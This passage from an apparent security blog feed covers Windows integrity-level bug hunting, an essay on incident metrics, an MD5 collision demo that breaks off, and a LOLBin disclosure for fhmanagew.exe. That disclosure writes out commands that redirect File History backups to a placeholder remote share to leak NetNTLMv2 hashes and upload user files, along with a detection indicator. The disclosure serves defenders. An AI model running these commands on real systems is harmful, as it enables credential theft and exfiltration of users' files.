&lt;/table&gt;

&lt;p&gt;This table is generally accurate, there are exceptions to the rule. Some services run under Network Service account, additionally specific applications may lock down their ProgramData folder and allow only High Integrity processes to access. Understanding this makes the hunt for vulnerabilities easier. If you see a process running in High Integrity accessing the ProgramData folder or the HKCU hive, there is an opportunity for vulnerabilities to exist. Likewise, if you can write to certain application's Program Files or subkeys in the HKLM hive as a Medium Integrity user, there is a similar opportunity.  &lt;/p&gt;
&lt;p&gt;The HKCR hive is a virtual hive that returns values from either HKLM or HKCU depending on the integrity level that the process is running under. This &lt;a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key?redirectedfrom=MSDN"&gt;article&lt;/a&gt; provides more information. It is important to trace the registry key down to the actual HKLM/HKCU key to determine if there is an opportunity for vulnerabilities to exist.  &lt;/p&gt;
&lt;p&gt;Most people would only look for privilege escalation vulnerabilities, however an application denial of service vulnerability is also possible. If you are able to delete the file, lock the file or change permissions of the file as a Medium Integrity user, the High Integrity application might terminate or crash.   &lt;/p&gt;
&lt;p&gt;Certain classes of software are more susceptible to these vulnerabilities. Antivirus software has to run in High Integrity to terminate malicious processes. They also have to access files in Medium Integrity folders when scanning them for malicious contents. Printer software is another area of concern. The print Spooler runs as System Integrity while users are able to install printers and print stuff while in Medium Integrity.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>0 reportable cybersecurity incidents</title><link href="https://limbenjamin.com/articles/0-reportable-cybersecurity-incidents.html" rel="alternate"></link><published>2021-03-06T10:59:00+08:00</published><updated>2021-03-06T10:59:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-03-06:/articles/0-reportable-cybersecurity-incidents.html</id><summary type="html">&lt;p&gt;At first glance, achieving 0 reportable cybersecurity incidents seem to be a commendable achievement. Other industries set similar KPIs, i.e. 0 workplace injuries. However, we must understand that this is extremely tough because we are facing an active adversary that is attacking constantly. Imagine if workplaces have to deal …&lt;/p&gt;</summary><content type="html">&lt;p&gt;At first glance, achieving 0 reportable cybersecurity incidents seem to be a commendable achievement. Other industries set similar KPIs, i.e. 0 workplace injuries. However, we must understand that this is extremely tough because we are facing an active adversary that is attacking constantly. Imagine if workplaces have to deal with wear and tear, human mistakes and also saboteurs actively trying to damage equipment.  &lt;/p&gt;
&lt;p&gt;This is why the cybersecurity industry has moved towards a defense in depth approach, acknowledging that we cannot prevent 100% of incidents, aiming to minimise the time taken to detect and respond to an incident, rather than solely focusing on preventing incidents. In fact, large cybersecurity teams have incident managers and forensics specialists, whose full time role is to respond to an incident. To continue with the workplace analogy, this is akin to having safeguards and redundancies in every piece of equipment, and having medical personnel and vehicles on standby at the worksite to reduce response time.  &lt;/p&gt;
&lt;p&gt;In fact, I would even argue that 0 reportable cybersecurity incidents is a bad sign. It points to a severe lack in detection capability, if you cannot even see the attack happening, of course you stand no chance of blocking or responding to the attack. The other explanation is a cover up. Pressure from management to not report the incident might hide what appears to be a rotten core underneath a perfect security record.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>LOLBin: fhmanagew.exe</title><link href="https://limbenjamin.com/articles/lolbin-fhmanagew.html" rel="alternate"></link><published>2021-01-26T20:34:00+08:00</published><updated>2021-01-26T20:34:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-01-26:/articles/lolbin-fhmanagew.html</id><summary type="html">&lt;p&gt;File history is a backup solution built into Windows from Windows 8 onwards. Once enabled, previous versions of files in Documents, Music, Pictures, Videos, Desktop and OneDrive folder will automatically be copied onto a backup drive.  &lt;/p&gt;
&lt;p&gt;The File History Management Tool (fhmanagew.exe) is a Living Off The Land Binary …&lt;/p&gt;</summary><content type="html">&lt;p&gt;File history is a backup solution built into Windows from Windows 8 onwards. Once enabled, previous versions of files in Documents, Music, Pictures, Videos, Desktop and OneDrive folder will automatically be copied onto a backup drive.  &lt;/p&gt;
&lt;p&gt;The File History Management Tool (fhmanagew.exe) is a Living Off The Land Binary (LOLBin) that can be used by attackers to steal credentials and exfiltrate files. Once File History is enabled, the attacker can use the fhmanagew.exe to migrate the backup location to an attacker controlled share, Windows will automatically attempt to authenticate using the current user's account and upload files at regular intervals.  &lt;/p&gt;
&lt;p&gt;To enable File history from command line, the following sample &lt;a href="https://github.com/microsoft/Windows-driver-samples/tree/master/general/filehistory"&gt;source code&lt;/a&gt; provided by Microsoft can be used. I have compiled it and the binary can be downloaded &lt;a href="https://limbenjamin.com/files/bin/fhsetup.exe"&gt;here&lt;/a&gt;.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;---
Name: fhmanagew.exe
Description: File History Management Tool
Author: Benjamin Lim
Created: 26 Jan 2021
Commands:
  - Command: fhmanagew.exe -migrate \\1.2.3.4\share
    Description: Migrates the File History backup location to a remote drive.
    Usecase: A SMB connection will be created to the remote location, causing NetNTLMv2 challenge hash to be sent in the process. Prerequisite: File Backup must be set up.
    Category: Credentials
    Privileges: User
    MitreID: T1187
    MitreLink: https://attack.mitre.org/techniques/T1187/
    OperatingSystem: Windows 8, Windows 8.1, Windows 10
  - Command: fhmanagew.exe -backupnow
    Description: Triggers the start of the File History backup process.
    Usecase: After migrating backup location to attacker controlled share, upload files from Documents, Music, Pictures, Videos, Desktop and OneDrive folder to new backup location. 
    Category: Upload
    Privileges: User
    MitreID: T1567.002 
    MitreLink: https://attack.mitre.org/techniques/T1567/002/
    OperatingSystem: Windows 8, Windows 8.1, Windows 10
Full_Path:
  - Path: c:\windows\system32\fhmanagew.exe
Detection: 
  - IOC: SMB traffic from PID 4 to Internet destination 
Resources:
  - Link: https://limbenjamin.com/articles/lolbin-fhmanagew.html
Acknowledgement:
  - Person: Benjamin Lim
    Handle: @limbenjamincom
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/fhmanagew.png"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Fun with MD5 Collisions</title><link href="https://limbenjamin.com/articles/fun-with-md5-collisions.html" rel="alternate"></link><published>2020-12-31T13:24:00+08:00</published><updated>2020-12-31T13:24:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-12-31:/articles/fun-with-md5-collisions.html</id><summary type="html">&lt;p&gt;We all know about MD5 hash collisions but I have never imagined that so much progress has been made. Meaningful hash collisions can now be computed on desktop grade hardware. The below collision was computed using &lt;a href="https://github.com/corkami/collisions#unicoll-md5"&gt;unicoll&lt;/a&gt; on an i3 desktop in under 30 minutes. Position of byte differences have …&lt;/p&gt;</summary><content type="html">&lt;p&gt;We all know about MD5 hash collisions but I have never imagined that so much progress has been made. Meaningful hash collisions can now be computed on desktop grade hardware. The below collision was computed using &lt;a href="https://github.com/corkami/collisions#unicoll-md5"&gt;unicoll&lt;/a&gt; on an i3 desktop in under 30 minutes. Position of byte differences have been marked using &lt;code&gt;"&lt;/code&gt;. Thanks to SANS Holiday Hack 2020 for introducing this subject at an approachable level.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;strings&lt;span class="w"&gt; &lt;/span&gt;collision1.bin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
I,&lt;span class="w"&gt; &lt;/span&gt;Benjamin&lt;span class="w"&gt; &lt;/span&gt;Lim,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;my&lt;span class="w"&gt; &lt;/span&gt;lifetime,&lt;span class="w"&gt; &lt;/span&gt;confess&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;murder&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;no.&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;people/person.
$&lt;span class="w"&gt; &lt;/span&gt;strings&lt;span class="w"&gt; &lt;/span&gt;collision2.bin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
I,&lt;span class="w"&gt; &lt;/span&gt;Benjamin&lt;span class="w"&gt; &lt;/span&gt;Lim,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;my&lt;span class="w"&gt; &lt;/span&gt;lifetime,&lt;span class="w"&gt; &lt;/span&gt;confess&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;murder&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;no.&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;people/person.

$&lt;span class="w"&gt; &lt;/span&gt;md5sum&lt;span class="w"&gt; &lt;/span&gt;collision*
f3f2f56ac8fbf44e1c326c19a93fe61c&lt;span class="w"&gt;  &lt;/span&gt;collision1.bin
f3f2f56ac8fbf44e1c326c19a93fe61c&lt;span class="w"&gt;  &lt;/span&gt;collision2.bin

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# MD5 is truly dead!&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;xxd&lt;span class="w"&gt; &lt;/span&gt;collision1.bin
&lt;span class="m"&gt;00000000&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;492c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2042&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;656e&lt;span class="w"&gt; &lt;/span&gt;6a61&lt;span class="w"&gt; &lt;/span&gt;6d69&lt;span class="w"&gt; &lt;/span&gt;6e20&lt;span class="w"&gt; &lt;/span&gt;4c69&lt;span class="w"&gt; &lt;/span&gt;6d2c&lt;span class="w"&gt;  &lt;/span&gt;I,&lt;span class="w"&gt; &lt;/span&gt;Benjamin&lt;span class="w"&gt; &lt;/span&gt;Lim,
&lt;span class="m"&gt;00000010&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2069&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6e20&lt;span class="w"&gt; &lt;/span&gt;6d79&lt;span class="w"&gt; &lt;/span&gt;206c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6966&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6574&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;696d&lt;span class="w"&gt; &lt;/span&gt;652c&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;my&lt;span class="w"&gt; &lt;/span&gt;lifetime,
&lt;span class="m"&gt;00000020&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2063&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f6e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6665&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7373&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2074&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f20&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7468&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6520&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;confess&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;the
&lt;span class="m"&gt;00000030&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;6d75&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7264&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6572&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;206f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6620&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6120&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;746f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7461&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;murder&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;tota
&lt;span class="m"&gt;00000040&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;6c20&lt;span class="w"&gt; &lt;/span&gt;6e6f&lt;span class="w"&gt; &lt;/span&gt;2e20&lt;span class="w"&gt; &lt;/span&gt;6f66&lt;span class="s2"&gt;&amp;quot;2030&amp;quot;&lt;/span&gt;&lt;span class="m"&gt;2070&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;656f&lt;span class="w"&gt; &lt;/span&gt;706c&lt;span class="w"&gt;  &lt;/span&gt;l&lt;span class="w"&gt; &lt;/span&gt;no.&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;peopl
&lt;span class="m"&gt;00000050&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;652f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7065&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7273&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6f6e&lt;span class="w"&gt; &lt;/span&gt;2e00&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;6bdd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3173&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;e/person....k.1s
&lt;span class="m"&gt;00000060&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;deb5&lt;span class="w"&gt; &lt;/span&gt;ffc3&lt;span class="w"&gt; &lt;/span&gt;9acc&lt;span class="w"&gt; &lt;/span&gt;f17c&lt;span class="w"&gt; &lt;/span&gt;2ce2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2479&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cdca&lt;span class="w"&gt; &lt;/span&gt;af68&lt;span class="w"&gt;  &lt;/span&gt;.......&lt;span class="p"&gt;|&lt;/span&gt;,.&lt;span class="nv"&gt;$y&lt;/span&gt;...h
&lt;span class="m"&gt;00000070&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;14a7&lt;span class="w"&gt; &lt;/span&gt;ec3f&lt;span class="w"&gt; &lt;/span&gt;4c02&lt;span class="w"&gt; &lt;/span&gt;e12b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1431&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;426d&lt;span class="w"&gt; &lt;/span&gt;262d&lt;span class="w"&gt; &lt;/span&gt;6bf8&lt;span class="w"&gt;  &lt;/span&gt;...?L..+.1Bm&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;-k.
&lt;span class="m"&gt;00000080&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;c065&lt;span class="w"&gt; &lt;/span&gt;0ec7&lt;span class="w"&gt; &lt;/span&gt;c95d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6242&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0f03&amp;quot;&lt;/span&gt;d406&lt;span class="w"&gt; &lt;/span&gt;aa38&lt;span class="w"&gt; &lt;/span&gt;d395&lt;span class="w"&gt;  &lt;/span&gt;.e...&lt;span class="o"&gt;]&lt;/span&gt;bB.....8..
&lt;span class="m"&gt;00000090&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;51ea&lt;span class="w"&gt; &lt;/span&gt;fedf&lt;span class="w"&gt; &lt;/span&gt;a78c&lt;span class="w"&gt; &lt;/span&gt;b650&lt;span class="w"&gt; &lt;/span&gt;7a48&lt;span class="w"&gt; &lt;/span&gt;da5e&lt;span class="w"&gt; &lt;/span&gt;3f3e&lt;span class="w"&gt; &lt;/span&gt;c2b5&lt;span class="w"&gt;  &lt;/span&gt;Q......PzH.^?&amp;gt;..
000000a0:&lt;span class="w"&gt; &lt;/span&gt;7db7&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8087&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6312&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a0f8&lt;span class="w"&gt; &lt;/span&gt;036f&lt;span class="w"&gt; &lt;/span&gt;e1d6&lt;span class="w"&gt; &lt;/span&gt;f50e&lt;span class="w"&gt; &lt;/span&gt;6e99&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;...c....o....n.
000000b0:&lt;span class="w"&gt; &lt;/span&gt;f315&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2240&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;c9a2&lt;span class="w"&gt; &lt;/span&gt;0d77&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4943&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;558b&lt;span class="w"&gt; &lt;/span&gt;15c7&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6440&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;..&lt;span class="s2"&gt;&amp;quot;@...wICU...d@&lt;/span&gt;

$&lt;span class="s2"&gt; xxd collision2.bin&lt;/span&gt;
&lt;span class="s2"&gt;00000000: 492c 2042 656e 6a61 6d69 6e20 4c69 6d2c  I, Benjamin Lim,&lt;/span&gt;
&lt;span class="s2"&gt;00000010: 2069 6e20 6d79 206c 6966 6574 696d 652c   in my lifetime,&lt;/span&gt;
&lt;span class="s2"&gt;00000020: 2063 6f6e 6665 7373 2074 6f20 7468 6520   confess to the&lt;/span&gt;
&lt;span class="s2"&gt;00000030: 6d75 7264 6572 206f 6620 6120 746f 7461  murder of a tota&lt;/span&gt;
&lt;span class="s2"&gt;00000040: 6c20 6e6f 2e20 6f66&amp;quot;&lt;/span&gt;&lt;span class="m"&gt;2031&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2070 656f 706c  l no. of 1 peopl&lt;/span&gt;
&lt;span class="s2"&gt;00000050: 652f 7065 7273 6f6e 2e00 0000 6bdd 3173  e/person....k.1s&lt;/span&gt;
&lt;span class="s2"&gt;00000060: deb5 ffc3 9acc f17c 2ce2 2479 cdca af68  .......|,.&lt;/span&gt;&lt;span class="nv"&gt;$y&lt;/span&gt;&lt;span class="s2"&gt;...h&lt;/span&gt;
&lt;span class="s2"&gt;00000070: 14a7 ec3f 4c02 e12b 1431 426d 262d 6bf8  ...?L..+.1Bm&amp;amp;-k.&lt;/span&gt;
&lt;span class="s2"&gt;00000080: c065 0ec7 c95d 6242&amp;quot;&lt;/span&gt;0f02&lt;span class="s2"&gt;&amp;quot;d406 aa38 d395  .e...]bB.....8..&lt;/span&gt;
&lt;span class="s2"&gt;00000090: 51ea fedf a78c b650 7a48 da5e 3f3e c2b5  Q......PzH.^?&amp;gt;..&lt;/span&gt;
&lt;span class="s2"&gt;000000a0: 7db7 8087 6312 a0f8 036f e1d6 f50e 6e99  }...c....o....n.&lt;/span&gt;
&lt;span class="s2"&gt;000000b0: f315 2240 c9a2 0d77 4943 558b 15c7 6440  ..&amp;quot;&lt;/span&gt;@...wICU...d@
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The generation process is as follows:  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;
&lt;span class="normal"&gt;62&lt;/span&gt;
&lt;span class="normal"&gt;63&lt;/span&gt;
&lt;span class="normal"&gt;64&lt;/span&gt;
&lt;span class="normal"&gt;65&lt;/span&gt;
&lt;span class="normal"&gt;66&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;xxd&lt;span class="w"&gt; &lt;/span&gt;message.bin
